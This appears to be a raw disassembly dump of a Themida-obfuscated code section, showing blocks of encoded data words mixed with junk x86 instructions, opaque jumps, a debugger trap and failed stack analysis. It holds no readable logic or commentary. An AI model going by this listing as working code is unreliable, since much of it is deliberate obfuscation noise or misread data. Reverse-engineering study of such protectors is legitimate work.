8E9h, 0DFAE8000h, 2878487Ah dd 5E9DBh, 0C44F0000h, 80E924FFh, 8B662CC2h, 6E9CBh, 29010000h dd 8F9992A9h, 8B66DF8Bh, 870F60D3h, 2, 0B261EAB6h, 11810F7Bh dd 0E9000000h, 0Ch, 0DB3D1A8Fh, 32353495h, 0B15D2D52h dd 0EF41BA66h, 0FE8F5h, 10340000h, 191DB4ACh, 10E20F96h dd 0EADF9E0Ah, 0FB8B669Dh, 13E959h, 9A4E0000h, 9AD28B65h dd 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h, 0AE85384h, 40000000h dd 4EC84789h, 870A0B2Ch, 13E958h, 0C68D0000h, 5BE1FAE9h dd 0C889EB88h, 9335F770h, 0A5D607C6h, 0F5B5A18h, 0EDB8F2B7h dd 0F479CC4h, 0FF9C8BFh, 1180h, 9E800h, 0C13B0000h, 66750115h dd 0B408E5AEh, 9BBA5AEBh, 52104E89h, 14E8h, 0B6282D00h dd 0F51B2304h, 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0EE851h dd 0ECB20000h, 92221741h, 0CE757984h, 0A9862546h, 665E5F58h dd 0BBB154B8h, 48C85ECAh, 8150FCF5h, 7C9E84E2h, 60F95859h dd 11E9h, 23E0C100h, 944DAC57h, 0C8F215C8h, 0D2FC57B3h dd 0D78B3AF5h, 0C9816661h, 0F603FA6h, 388h, 0DFBF0F00h dd 251DBB66h, 0AE961h, 0F6D10000h, 0E06BAF6Ah, 5D83F32Dh dd 85BB6056h, 0F44595Dh, 5961FEBFh, 890FC78Bh, 5, 7AE68166h dd 3BBBBF20h, 0EAB80DCCh, 0BE5E796Dh, 1BD0950Ah, 0BE9h dd 0DE495000h, 0CAB889FBh, 68DEE47Ch, 0AE8h, 4AEECC00h dd 3AFBF184h, 0FB21CE5h, 38Ah, 0F38B6600h, 0BE95Fh, 987D0000h dd 0C5BB79D2h, 0B46C8967h, 0D681665Dh, 8AF9C49Bh, 61B956CBh dd 58603ECAh, 8C35C181h, 81660F17h, 0F8B44CE0h, 13E950h dd 54EE0000h, 7B759478h, 0C95CA2C8h, 686906B3h, 960D29CDh dd 8B665ADBh, 0D98B66F8h, 13E9FCh, 0AD8B0000h, 26D8F9EEh dd 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah, 810F607Ch, 0 dd 0DE816660h, 616186EBh, 8B66FCF9h, 0B96660F0h, 61FC75DCh dd 0EE860h, 627A0000h, 18B7DC3Eh, 16F3AAFAh, 891E8A63h dd 66596160h, 0B8CAF081h, 3820F61h, 80000000h, 81667DD0h dd 0E8918DF6h, 8, 0C4A39163h, 0A1E90F03h, 28A0Fh, 5A500000h dd 0F3CF805Ah, 0AE8h, 1B6EBD00h, 0EF368256h, 60DEBC1Ch dd 0C2815953h, 1EC3D9C5h, 0D1B95961h, 0F4F76A0h, 82h, 0AEE38000h dd 14E9h, 53B45A00h, 2417C33Eh, 0B93D0081h, 0C3E248B4h dd 9D2FE3DBh, 0AE9A3h, 51BB0000h, 2C64BC22h, 843AB859h dd 0ACE28166h, 12E85Ch, 71530000h, 959EA0BEh, 0D1719CB9h dd 0CB16CBCAh, 0A6F98412h, 0F59D0B1h, 0BEFCF3BFh, 50EC40B1h dd 0C9B96650h, 8B605EE6h, 5CBA66FAh, 57606102h, 9E9h, 39FBAE00h dd 0E2D20359h, 0E95FF975h, 6, 77337646h, 0E961D231h, 13h dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0F2411ACh dd 0E860C1BFh, 13h, 9B6D89F6h, 0C638F79Dh, 6CEED62Eh, 0A13AAF93h dd 66AC54B2h, 5AF1DEBEh, 0DF806061h, 0F88B66E2h, 0C681FC61h dd 1F8A05B8h, 64E78166h, 0D18B66ABh, 7A3DB866h, 19860Fh dd 840F0000h, 13h, 0EE9h, 25A9500h, 7C34D644h, 47D36C2Eh dd 0BFE5E222h, 6D62F23h, 38E0Fh, 0E4800000h, 12E92Ch, 69B10000h dd 0AA53E051h, 95BFA3D2h, 177D8FA0h, 2E6BED6Eh, 0FF90FB4h dd 83h, 23F68100h, 0F83AEA62h, 0DE9h, 1D7E5D00h, 0D9D1FE6Bh dd 8A46F25h, 8B6676DBh, 34E980DEh, 0D034E0BFh, 0BE6ABB01h dd 0BE95155h, 79000000h, 0FE2EBE37h, 0AEB917BEh, 0BAFC99F6h dd 2333244Ah, 880F5652h, 0 ; --------------------------------------------------------------------------- pop edx pop eax push ecx jmp loc_60E229 ; --------------------------------------------------------------------------- dd 0E65B8723h byte_60E228 db 0EAh ; CODE XREF: Themida_:0060E29Ej ; --------------------------------------------------------------------------- loc_60E229: ; CODE XREF: Themida_:0060E21Fj pop edx mov bh, 3Ch jmp loc_60E236 ; --------------------------------------------------------------------------- db 42h, 79h, 0CBh ; --------------------------------------------------------------------------- fcomip st, st(1) loc_60E236: ; CODE XREF: Themida_:0060E22Cj push edx mov ax, 0D9E4h pop edi clc push edi pop ecx xor esi, 22962163h jmp loc_60E252 ; --------------------------------------------------------------------------- dw 0F3FAh dd 2F574C66h db 0A1h, 0Dh ; --------------------------------------------------------------------------- loc_60E252: ; CODE XREF: Themida_:0060E245j jb loc_60E259 stc loc_60E259: ; CODE XREF: Themida_:loc_60E252j movsx edx, si jo $+6 mov dh, 0D8h jz loc_60E280 call near ptr loc_60E279+4 or al, 89h stosd push ebx inc edi mov ds:20F540B1h, al loc_60E279: ; CODE XREF: Themida_:0060E26Ap sbb eax, 5189A76Dh pop edx pop edx loc_60E280: ; CODE XREF: Themida_:0060E264j cmc sub si, 25C0h cmc jmp loc_60E298 ; --------------------------------------------------------------------------- jnb short loc_60E29D fsincos add bl, [ebx+13h] pop esi dec edi mov dl, 82h cli loc_60E298: ; CODE XREF: Themida_:0060E287j call near ptr loc_60E2AD+2 loc_60E29D: ; CODE XREF: Themida_:0060E28Cj dec ecx loope near ptr byte_60E228 mov eax, ds:10E6B1B0h mov fs, word ptr [ebx] and eax, 0D0636451h aas loc_60E2AD: ; CODE XREF: Themida_:loc_60E298p jmp far ptr 0E860h:5AD6B37Dh ; --------------------------------------------------------------------------- dd 0Fh, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh, 665372D7h, 5EE7CDBFh dd 0D18161F8h, 226BE35Fh, 94DBDE81h, 7E97EF7h, 8000000h dd 930F4D09h, 27BB49C0h, 667D7135h, 81FB21BAh, 93B3D5E8h dd 12E86025h, 90000000h, 2A5A6D0Eh, 4C92704h, 1A93C9FCh dd 65E03379h, 8B5EF899h, 0BBFC61F8h, 5961B5EFh, 0EFC6D281h dd 0D8801A5Ah, 0FDBA66D9h, 0D68B66EBh, 820F9EB3h, 2, 0FE9C28Bh dd 7000000h, 0E43F8A8Ah, 9705A73h, 56195DC5h, 0BF66B420h dd 0F60FD63h, 68Fh, 890F00h, 57000000h, 615E5A50h, 0E980D88Ah dd 0F7C381B6h, 0F964E727h, 1512DF81h, 830F7B23h, 1, 66C18AFCh dd 6D31EF81h, 6860Fh, 0F0810000h, 4ECA6579h, 0F7BF0F60h dd 5E961h, 575C0000h, 0F9539BFh, 28Ch, 81C88B00h, 0AF0A31C1h dd 0F870F40h, 0E9000000h, 0Ah, 8CA91BB7h, 0A15AAA0Bh, 0BF66A8D2h dd 0D18A7472h, 0E7C9E781h, 47B139C5h, 0BB39B4F5h, 7E06CD6Dh dd 0FF28B66h, 6660FFBFh, 0E281C38Bh, 22BD659Dh, 0DA816661h dd 8166E79Ah, 665332C8h, 664DCCB9h, 1965EF81h, 0C75CB966h dd 11E8h, 0E7B74100h, 0F4160A18h, 308F3DE6h, 2571688Dh dd 8C0F6BB7h, 0 dd 820F605Ah, 2, 8A0FD18Bh, 2, 66616160h, 0DF8BD38Bh, 9827B866h dd 8B66F88Bh, 6E8D7h, 9D210000h, 56892135h, 3870Fh, 0C9800000h dd 0B70F5B2Eh, 8BE66F3h, 8D0F53E3h, 6, 5203D781h, 0E95851A4h dd 0Ah, 50844BDFh, 0EAB91BE7h, 8C0F0517h, 0 dd 8B66BBB3h, 943ABBD3h, 81663AD8h, 66BED0C8h, 13E8FB8Bh dd 0D000000h, 0DCE5FA75h, 17F36104h, 4A8DAA94h, 3F67CBE1h dd 605678FBh, 0F585F61h, 40B6C6B7h, 8BD1C480h, 0FF98AF9h dd 58Eh, 8B665200h, 0B70F5FC1h, 0C68B66DBh, 2BC29B9h, 0C6BE663Ch dd 58BF662Fh, 0D38160EAh, 438E95A6h, 61FAB70Fh, 0FC9B70Fh dd 87h, 0B5D38100h, 662E7553h, 0E9D036BAh, 0Dh, 0ED11271Ch dd 0C35E3F64h, 7739C177h, 0C3BF0F67h, 81F58056h, 28D0F5Bh dd 8B000000h, 0C3BF0FF1h, 0E9FE8B66h, 0Ch, 0F0622C37h dd 0C7FF9D13h, 0FFA5479Ch, 9E9h, 0AE3C4D00h, 8AF5A263h dd 81662210h, 66FB4BC0h, 0FBE89B8h, 0BF0FC8B7h, 0D18057F3h dd 81665BABh, 0FA930D9h, 8166D2B7h, 0FD031D1h, 385h, 0FBBF0F00h dd 74DDB866h, 4B03BA66h, 10E852h, 63340000h, 0AFFF75E0h dd 6D4DA76h, 0B98AC34h, 830F0B16h, 0 ; --------------------------------------------------------------------------- pop ebx pop eax jmp loc_60E590 ; --------------------------------------------------------------------------- db 0C5h dd 96E3B4AAh, 57DE0D61h ; --------------------------------------------------------------------------- loc_60E590: ; CODE XREF: Themida_:0060E582j or cx, 0CDFBh sbb edx, 1801BAA2h jle loc_60E5A7 xor edi, 17A14070h loc_60E5A7: ; CODE XREF: Themida_:0060E59Bj movzx edx, si cld mov ebx, edx mov cx, di mov cl, 4Dh pusha jmp loc_60E5C0 ; --------------------------------------------------------------------------- dd 7AC42C41h, 0F918CCCFh ; --------------------------------------------------------------------------- loc_60E5C0: ; CODE XREF: Themida_:0060E5B3j push ecx sub cl, 8Dh pop edi popa push esi pop ecx jmp loc_60E5D3 ; --------------------------------------------------------------------------- and ds:0FADAF46Ah, ebp loc_60E5D3: ; CODE XREF: Themida_:0060E5C8j adc ax, 4A8Ah mov ebx, edx add ecx, 748D228Dh mov cx, 0F136h mov eax, 18E45F32h mov si, cx call near ptr loc_60E5FE+1 xor esp, edi db 64h insb shl dword ptr [eax-10FA92C5h], 0F5h mov ch, 5Bh loc_60E5FE: ; CODE XREF: Themida_:0060E5ECp cmp al, 0Fh mov bh, 0F7h pop esi mov edx, 66C06F55h jmp loc_60E61F ; --------------------------------------------------------------------------- db 30h, 1Bh, 0 dd 0F64651D7h, 3C150AC1h, 70992D56h db 0BEh, 11h, 0C6h ; --------------------------------------------------------------------------- loc_60E61F: ; CODE XREF: Themida_:0060E608j add cx, 107Bh jnb loc_60E62B cld loc_60E62B: ; CODE XREF: Themida_:0060E624j movzx ebx, di jmp loc_60E63C ; --------------------------------------------------------------------------- db 91h dd 8624C61Eh, 1A872C4Ah ; --------------------------------------------------------------------------- loc_60E63C: ; CODE XREF: Themida_:0060E62Ej jb loc_60E644 mov ah, 0BCh loc_60E644: ; CODE XREF: Themida_:loc_60E63Cj adc ebx, 759D7Dh mov cl, ah adc si, 292Ah mov edi, 21CC5010h mov ebx, ecx and edx, 63901E8Ch add dx, 0CCh pusha mov ah, dl jle loc_60E672 and eax, 31732AA9h loc_60E672: ; CODE XREF: Themida_:0060E666j popa push edx pop ebx add si, 0B1BFh mov ah, bl clc jmp loc_60E68D ; --------------------------------------------------------------------------- sar dword ptr [edx], 43h retn 0B908h ; --------------------------------------------------------------------------- dd 11F86549h db 38h ; --------------------------------------------------------------------------- loc_60E68D: ; CODE XREF: Themida_:0060E67Dj or cx, 0FDD1h and cx, 7EB0h adc eax, 6192BF59h call near ptr loc_60E6AD+1 das loope near ptr loc_60E717+4 xor al, 0DCh lds esi, [edx+69h] fsub st, st stc loc_60E6AD: ; CODE XREF: Themida_:0060E69Dp add cl, [edi] xchg al, [edx] ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- mov ch, 7Bh pop ebx cmc mov di, 0CE60h pusha jmp loc_60E6C8 ; --------------------------------------------------------------------------- dw 0FC13h dd 0BC59B84Eh ; --------------------------------------------------------------------------- loc_60E6C8: ; CODE XREF: Themida_:0060E6BDj jmp loc_60E6D9 ; --------------------------------------------------------------------------- db 1Bh, 0F9h, 3 dd 0E96AE032h, 0C25D8436h db 12h ; --------------------------------------------------------------------------- loc_60E6D9: ; CODE XREF: Themida_:loc_60E6C8j popa pusha mov esi, 2E04D51Eh movzx ebx, bx popa cld jp $+6 jle loc_60E6F7 sbb esi, 2E19C386h loc_60E6F7: ; CODE XREF: Themida_:0060E6EBj mov edi, 1EB6F77Bh mov bx, dx jmp loc_60E717 ; --------------------------------------------------------------------------- dd 0AB657A3Ah, 436DA10Fh, 0BFA7731Fh, 0D3B03349h db 8Bh, 0D0h, 0B7h ; --------------------------------------------------------------------------- loc_60E717: ; CODE XREF: Themida_:0060E6FFj ; Themida_:0060E6A3j jz loc_60E732 jmp loc_60E732 ; --------------------------------------------------------------------------- mov eax, ds:2E923C71h sub dl, [eax-58A0D08Bh] imul ebx, [eax+69h], 1Ah xchg eax, edi loc_60E732: ; CODE XREF: Themida_:loc_60E717j ; Themida_:0060E71Dj and edx, 46B938E9h ja loc_60E751 jmp loc_60E751 ; --------------------------------------------------------------------------- cli and [eax], esp mov [edi-23h], esp les edx, ds:58C2F396h mov dh, 0F4h loc_60E751: ; CODE XREF: Themida_:0060E738j ; Themida_:0060E73Ej cld jo loc_60E75A mov ebx, esi loc_60E75A: ; CODE XREF: Themida_:0060E752j pusha sub edx, 15C03E76h mov bh, 0B8h popa push edi jmp loc_60E77E ; --------------------------------------------------------------------------- dw 0EE4Ch ; --------------------------------------------------------------------------- retf 0D552h ; --------------------------------------------------------------------------- db 4Eh dd 9771CAB7h, 0E95D563h, 0B1408D98h db 96h, 0B7h ; --------------------------------------------------------------------------- loc_60E77E: ; CODE XREF: Themida_:0060E765j pop ecx pusha cmc call sub_60E79A push eax cwde das cmp [esi-24h], cl daa push ecx jbe short near ptr loc_60E7B1+3 test byte ptr [edi+6Fh], 0F6h test al, 0ABh inc eax das xor ch, ch ; =============== S U B R O U T I N E ======================================= sub_60E79A proc near ; CODE XREF: Themida_:0060E781p movsx edx, bx pop eax popa jb loc_60E7A7 mov ah, 0Ah loc_60E7A7: ; CODE XREF: sub_60E79A+5j movsx edx, dx mov bl, 0 call sub_60E7BE loc_60E7B1: ; CODE XREF: Themida_:0060E78Ej add eax, 0F38263Ch aam 65h inc ebp mov edi, 0B193EE47h sub_60E79A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60E7BE proc near ; CODE XREF: sub_60E79A+12p jnz loc_60E7D2 jmp loc_60E7D2 ; --------------------------------------------------------------------------- db 0C6h, 52h, 99h dd 2E95F5CFh db 6Bh, 0B1h ; --------------------------------------------------------------------------- loc_60E7D2: ; CODE XREF: sub_60E7BEj sub_60E7BE+6j pop eax or edx, 6315FAC9h or al, 0A7h movsx eax, cx mov bl, ah mov ebx, eax mov cx, di jge loc_60E7F2 and eax, 790256E0h loc_60E7F2: ; CODE XREF: sub_60E7BE+28j mov di, si or dh, 27h mov eax, 7016B9D6h mov dx, 6F13h xor dl, 73h mov edx, 52EE0AD6h mov esi, eax mov di, bx movzx edx, ax clc mov bl, ch loc_60E814: ; CODE XREF: sub_60E7BE+7Dj mov di, cx pusha sub dl, 28h jmp loc_60E82B ; --------------------------------------------------------------------------- xor [ebx], edx int 3 ; Trap to Debugger sbb al, 2Bh setalc mov eax, ds:0FA874C36h loc_60E82B: ; CODE XREF: sub_60E7BE+5Dj popa movzx ebx, bx jmp loc_60E847 ; --------------------------------------------------------------------------- fdiv dword ptr ds:9CF0A57Eh push ds jmp short loc_60E814 ; --------------------------------------------------------------------------- db 12h, 38h, 0DBh dd 0E06846h ; --------------------------------------------------------------------------- and dl, [ebp+0Dh] loc_60E847: ; CODE XREF: sub_60E7BE+71j add ah, 0CBh sub ax, 5DDBh jo loc_60E857 mov edx, ecx loc_60E857: ; CODE XREF: sub_60E7BE+91j movzx eax, bx mov cx, dx or bh, 6Fh jmp loc_60E871 ; --------------------------------------------------------------------------- db 37h, 1Ch, 0A4h dd 6760CE67h, 5FA5E7BAh db 1Dh ; --------------------------------------------------------------------------- loc_60E871: ; CODE XREF: sub_60E7BE+A2j jg $+6 adc bx, 10EDh and dx, 5F1Eh jp loc_60E88C pusha mov esi, ecx stc popa loc_60E88C: ; CODE XREF: sub_60E7BE+C3j mov bx, dx and di, 3183h mov ecx, 1592DC55h stc jle loc_60E8A5 add di, 8A17h loc_60E8A5: ; CODE XREF: sub_60E7BE+DCj mov ch, 0ECh jmp loc_60E8BA ; --------------------------------------------------------------------------- dd 4D06CFD4h, 6058BC56h, 82BF1A01h ; --------------------------------------------------------------------------- inc ebp push esi loc_60E8BA: ; CODE XREF: sub_60E7BE+E9j jbe loc_60E8C3 mov cx, bx loc_60E8C3: ; CODE XREF: sub_60E7BE:loc_60E8BAj jl loc_60E8CE mov esi, 8D169A2h loc_60E8CE: ; CODE XREF: sub_60E7BE:loc_60E8C3j jnp loc_60E8E0 js loc_60E8E0 jl $+6 loc_60E8E0: ; CODE XREF: sub_60E7BE:loc_60E8CEj ; sub_60E7BE+116j sub eax, 2C3B059Ch movsx ecx, dx mov ecx, 1E11B611h sbb eax, 76860231h jno loc_60E8FF pusha xor dl, 0AEh popa loc_60E8FF: ; CODE XREF: sub_60E7BE+136j mov dx, 0E8Eh mov dx, 85E5h jnp loc_60E911 mov cx, 80A3h loc_60E911: ; CODE XREF: sub_60E7BE+149j mov eax, edx xor eax, 387AB0E3h jmp loc_60E928 ; --------------------------------------------------------------------------- dw 106Ch dd 0F99904D4h, 0D647B7A1h ; --------------------------------------------------------------------------- loc_60E928: ; CODE XREF: sub_60E7BE+15Bj movsx edx, di mov di, 8C92h jl loc_60E942 jmp loc_60E942 ; --------------------------------------------------------------------------- mov [eax-7466298Dh], esp setalc inc ecx loc_60E942: ; CODE XREF: sub_60E7BE+171j ; sub_60E7BE+177j jmp loc_60E953 ; --------------------------------------------------------------------------- mov bl, 0C1h jge short loc_60E975 pop ebp aad 6Fh xchg eax, esp and ah, [ecx+61h] loc_60E953: ; CODE XREF: sub_60E7BE:loc_60E942j jmp loc_60E967 ; --------------------------------------------------------------------------- adc edi, [edi+19733905h] sbb al, 0A6h dec esi add dh, [eax-216F7218h] loc_60E967: ; CODE XREF: sub_60E7BE:loc_60E953j push edx jmp loc_60E97B ; --------------------------------------------------------------------------- db 0E5h, 0A9h, 0E6h dd 0C968F598h db 17h ; --------------------------------------------------------------------------- loc_60E975: ; CODE XREF: sub_60E7BE+18Cj sbb dh, ch ; --------------------------------------------------------------------------- db 0F2h db 0E8h, 0BFh, 0C0h ; --------------------------------------------------------------------------- loc_60E97B: ; CODE XREF: sub_60E7BE+1AAj pop ebx add edi, 0F7DD05Dh mov dx, si pusha mov dh, 60h movzx edx, si popa jmp loc_60E99F ; --------------------------------------------------------------------------- db 99h, 4, 4Ch dd 0D2E2F1EDh, 50777C2Bh ; --------------------------------------------------------------------------- adc [eax-12h], cl loc_60E99F: ; CODE XREF: sub_60E7BE+1CEj call near ptr loc_60E9A5+4 cdq loc_60E9A5: ; CODE XREF: sub_60E7BE:loc_60E99Fp or eax, 0FBAC186h sub_60E7BE endp ; sp-analysis failed mov word ptr [eax], es ; --------------------------------------------------------------------------- dd 5E000000h, 10E9h, 87DFB100h, 6610CED7h, 7E98C993h, 2F0F9912h dd 10E909h, 7F4A0000h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h dd 8B662B6Bh, 9840FF9h, 0F000000h, 38Eh, 0F9B70F00h, 12E9DCB4h dd 9000000h, 0BEBB3CE8h, 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h dd 6FB6F9D8h, 81FCD7B7h, 0C5A860F1h, 0F80B257h, 0C881D0B7h dd 25C296BFh, 1AFFE781h, 8AF50417h, 8840FF5h, 52000000h dd 810Fh, 535B0000h, 59D38166h, 0B8665A6Bh, 0EE948F7h dd 17000000h, 0F615A49Ah, 43945E96h, 0D1239AB4h, 10E884h dd 6AD20000h, 0B20417A3h, 73EFF3B9h, 364F177h, 0D180126Fh dd 880F5B53h, 1, 13E8F8h, 9C0A0000h, 0DD20B538h, 0ABA71F97h dd 4D91E5C1h, 0D5717827h, 0EF681EBh, 5E1CC243h, 0EA575AB9h dd 5840F2Ah, 66000000h, 0CDAEF681h, 0EE9h, 0A747FE00h dd 702F0003h, 85499974h, 663CF4B4h, 0F581E281h, 0FE76BF66h dd 0B274C681h, 666034A0h, 0BE8C78Bh, 83000000h, 7A775676h dd 9C0F70B0h, 0BF0F080Fh, 66615FDBh, 0B6E06FBEh, 56DD80FBh dd 0C88BF48Ah, 2DA1DF81h, 28B061AFh, 0F8FCB80h, 8Fh, 8E900h dd 0EB5F0000h, 10067846h, 0B70F506Eh, 0C6B70FDAh, 6E9h dd 9C58C800h, 813AD5E6h, 0F8A8CCC7h, 0FA8BF96Eh, 0C678BA66h dd 41BB66F9h, 0C4E1804Dh, 6874BB66h, 0EE9h, 0AEBF9600h dd 0E2844D1Ch, 8D3DAC67h, 0E9CF5E93h, 13h, 2F135AACh, 0AC9B96CDh dd 0D8CB2411h, 0DDF60AF8h, 606D881Dh, 860F97B0h, 6, 810Fh dd 66610000h, 6E7D081h, 830F5260h, 0 ; --------------------------------------------------------------------------- pop ebx pusha mov al, bl mov si, di popa popa mov di, bx jmp loc_60EB98 ; --------------------------------------------------------------------------- db 4Dh, 52h, 0EEh dd 64BA9230h, 79A2FF52h, 8B4C7A6Bh ; --------------------------------------------------------------------------- loc_60EB98: ; CODE XREF: Themida_:0060EB84j jnz loc_60EB9F stc loc_60EB9F: ; CODE XREF: Themida_:loc_60EB98j movsx ebx, di jmp loc_60EBB8 ; --------------------------------------------------------------------------- db 1Ah dd 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh, 0AC9ACFB8h ; --------------------------------------------------------------------------- loc_60EBB8: ; CODE XREF: Themida_:0060EBA2j jnz loc_60EBC1 movzx eax, dx loc_60EBC1: ; CODE XREF: Themida_:loc_60EBB8j push eax push edi and ecx, 58C5EF32h pop eax pop ebx push edx jns near ptr loc_60EBE4+2 call near ptr loc_60EBE4+1 mov cl, 5Dh in eax, dx fdivr dword ptr [edx] movsb xor eax, 1C3207A2h xchg eax, ecx cmpsb loc_60EBE4: ; CODE XREF: Themida_:0060EBD2p ; Themida_:0060EBCCj jmp near ptr 60B84741h ; --------------------------------------------------------------------------- mov edi, ebx popa pop ecx jmp loc_60EBF8 ; --------------------------------------------------------------------------- sal bh, 5 and [ecx], edi xchg eax, edi loc_60EBF8: ; CODE XREF: Themida_:0060EBEDj jmp loc_60EC0C ; --------------------------------------------------------------------------- db 71h, 0A7h, 9Dh dd 898CE7ABh, 77C18D2Bh, 0F8AA31FFh ; --------------------------------------------------------------------------- loc_60EC0C: ; CODE XREF: Themida_:loc_60EBF8j jns loc_60EC15 mov si, bx loc_60EC15: ; CODE XREF: Themida_:loc_60EC0Cj mov ebx, 56D939A3h jmp loc_60EC28 ; --------------------------------------------------------------------------- db 0F4h dd 3B2ADB5Ch, 5A1B72AFh ; --------------------------------------------------------------------------- loc_60EC28: ; CODE XREF: Themida_:0060EC1Aj mov cx, 95Ch js loc_60EC49 jmp loc_60EC49 ; --------------------------------------------------------------------------- db 0B2h ; --------------------------------------------------------------------------- push 8EBBECACh adc al, 61h mov ds:0EB00DF54h, eax inc ecx adc al, 0D2h std push cs loc_60EC49: ; CODE XREF: Themida_:0060EC2Cj ; Themida_:0060EC32j movsx edi, ax sub cl, 16h mov ebx, edx jmp loc_60EC5B ; --------------------------------------------------------------------------- dw 31C8h db 3Dh, 0A0h, 67h ; --------------------------------------------------------------------------- loc_60EC5B: ; CODE XREF: Themida_:0060EC51j adc cx, 0DD7Dh xor esi, 6352A94h mov edx, 2D33AD43h push edx jnp loc_60EC78 sub edx, 6C36E85Ah loc_60EC78: ; CODE XREF: Themida_:0060EC6Cj pop edx call sub_60EC8D setalc push edx dec ecx enter 0FFFF9EB0h, 0E5h js short near ptr sub_60ECE3+3 jbe short loc_60EC93 add al, 7 mov ah, 0CEh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_60EC8D proc near ; CODE XREF: Themida_:0060EC79p jmp sub_60EC9B sub_60EC8D endp ; --------------------------------------------------------------------------- db 63h ; --------------------------------------------------------------------------- loc_60EC93: ; CODE XREF: Themida_:0060EC87j add [edi-3Ch], cl jmp dword ptr [ecx+ebp*8] ; --------------------------------------------------------------------------- cmp al, bh ; =============== S U B R O U T I N E ======================================= sub_60EC9B proc near ; CODE XREF: sub_60EC8Dj pop eax movsx ecx, dx mov ah, 96h mov eax, esi add edi, 1A4F78B9h stc jl loc_60ECB4 mov si, 9669h loc_60ECB4: ; CODE XREF: sub_60EC9B+Fj xor dl, 0C2h sub ah, 0ABh jl loc_60ECC6 and edi, 456AD5B7h ; CODE XREF: sub_60ECE3+21j loc_60ECC6: ; CODE XREF: sub_60EC9B+1Fj mov edx, 24F93A38h mov di, 0DC60h call sub_60ECE3 mov bl, 0A9h xor al, 0A9h mul dword ptr [eax+edx*8+2F507CB6h] sub dl, 58h into sub_60EC9B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60ECE3 proc near ; CODE XREF: sub_60EC9B+34p ; Themida_:0060EC85j jnz loc_60ECEC mov di, dx loc_60ECEC: ; CODE XREF: sub_60ECE3j pop edx push ebx mov di, ax pop ebx loc_60ECF2: ; CODE XREF: sub_60ECE3+1Aj jz loc_60ED09 call sub_60ED07 ja short loc_60ECF2 in eax, dx push ds dec edx aam 76h loope near ptr loc_60ECC0+5 inc ebx sub_60ECE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60ED07 proc near ; CODE XREF: sub_60ECE3+15p stc pop edi loc_60ED09: ; CODE XREF: sub_60ECE3:loc_60ECF2j adc si, 7909h pusha mov bl, 74h mov cl, bl popa mov bl, 0B8h sbb di, 0F643h mov bh, al call sub_60ED27 mov esp, 0ACB3AFE2h sub_60ED07 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_60ED27 proc near ; CODE XREF: sub_60ED07+16p jmp sub_60ED31 sub_60ED27 endp ; --------------------------------------------------------------------------- dd 342DD352h db 0Dh ; =============== S U B R O U T I N E ======================================= sub_60ED31 proc near ; CODE XREF: sub_60ED27j pop edi jmp loc_60ED44 ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- sbb esi, esp dec eax xchg eax, esp test [ecx], edx and edx, [esi-790B895Fh] loc_60ED44: ; CODE XREF: sub_60ED31+1j push ecx jnb loc_60ED51 and edx, 62F7D753h loc_60ED51: ; CODE XREF: sub_60ED31+14j pop edx jz loc_60ED60 jno loc_60ED60 mov edx, ecx loc_60ED60: ; CODE XREF: sub_60ED31+21j ; sub_60ED31+27j mov bh, 0F1h mov cx, 0F7A4h stc mov cx, 0DE01h clc jnp loc_60ED75 mov di, bx loc_60ED75: ; CODE XREF: sub_60ED31+3Bj push ecx jbe loc_60ED81 sub si, 0F67Ch loc_60ED81: ; CODE XREF: sub_60ED31+45j pop edi mov dh, 0DEh call loc_60ED99 push cs out 67h, al adc cl, bl xchg eax, esi iret sub_60ED31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 2BF9AA8h, 46250677h db 2 ; --------------------------------------------------------------------------- loc_60ED99: ; CODE XREF: sub_60ED31+53p mov di, ax pop edx jbe loc_60EDBF call loc_60EDB9 xchg eax, esi in al, 58h clc mov al, ds:8C175B06h ; --------------------------------------------------------------------------- dw 8AD9h dd 0FBE3C72Ch db 1Ch ; --------------------------------------------------------------------------- loc_60EDB9: ; CODE XREF: Themida_:0060EDA3p mov ecx, 69AF714Ah pop esi loc_60EDBF: ; CODE XREF: Themida_:0060ED9Dj and dl, 28h jl loc_60EDCB add bh, 58h loc_60EDCB: ; CODE XREF: Themida_:0060EDC2j stc jle loc_60EDEA jmp loc_60EDEA ; --------------------------------------------------------------------------- push ds movsd push eax sahf add eax, 302644D2h pop edx lahf adc ds:0D6D46A0Dh, esi test bh, ch loc_60EDEA: ; CODE XREF: Themida_:0060EDCCj ; Themida_:0060EDD2j mov esi, edi mov di, 9FA7h sub bx, 4CCBh stc push edi movzx ecx, dx pop eax sbb cl, 0CAh sub bl, 0C2h mov di, 0EAE0h jmp loc_60EE13 ; --------------------------------------------------------------------------- and eax, 0D16931BCh adc ah, [edx-1Ah] retn ; --------------------------------------------------------------------------- loc_60EE13: ; CODE XREF: Themida_:0060EE05j adc ch, 0C2h mov eax, ebx jno loc_60EE27 jb loc_60EE27 mov ax, dx loc_60EE27: ; CODE XREF: Themida_:0060EE18j ; Themida_:0060EE1Ej mov ecx, ebx jnb $+6 pusha mov bh, ah jb loc_60EE3C mov si, 0E0E3h loc_60EE3C: ; CODE XREF: Themida_:0060EE32j popa mov bl, 0D5h cld pusha jmp loc_60EE53 ; --------------------------------------------------------------------------- dw 0E6DAh dd 0C4FE940Bh, 2BE909FCh db 0ADh, 0Eh, 0E0h ; --------------------------------------------------------------------------- loc_60EE53: ; CODE XREF: Themida_:0060EE41j jmp loc_60EE64 ; --------------------------------------------------------------------------- dd 37D8A028h, 394C7057h, 3C51AD54h ; --------------------------------------------------------------------------- loc_60EE64: ; CODE XREF: Themida_:loc_60EE53j popa mov bx, 0E36Fh mov esi, 53F1FF92h call sub_60EE7B aad 45h das out dx, eax ; --------------------------------------------------------------------------- db 0FFh db 79h, 0EEh, 0CDh ; =============== S U B R O U T I N E 